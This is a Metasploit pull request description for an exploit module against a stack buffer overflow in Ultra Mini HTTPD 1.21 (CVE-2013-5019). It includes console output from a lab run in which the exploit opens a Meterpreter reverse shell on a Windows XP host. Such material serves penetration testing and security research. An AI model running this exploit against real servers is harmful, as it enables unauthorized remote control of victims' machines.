rapid7/metasploit-framework — pull request #2210 by PsychoSpy (2013-08-11 20:51:26+00:00)
Title: Ultra Mini HTTPD 1.21 Stack Buffer Overflow

Implements stack buffer overflow in Ultra HTTPD 1.21 (CVE-2013-5019). PoC and vulnerable app from EDB 26739:
http://www.exploit-db.com/exploits/26739/

Windows XP SP3 ENG target:
```
msf exploit(ultraminihttp_bof) > show options

Module options (exploit/windows/http/ultraminihttp_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.56.101 yes The target address
RPORT 80 yes The remote port
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
1 v1.21 - Windows XP SP3 ENG

msf exploit(ultraminihttp_bof) > exploit

[*] Started reverse handler on 192.168.56.1:4444
[*] Buf length: 7039
[*] Sending buffer...
[*] Sending stage (751104 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1584) at 2013-08-11 16:06:13 -0400

meterpreter > getuid
Server username: VulnDevXPSP3\VulnUser
meterpreter > sysinfo
Computer : VulnDevXPSP3
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```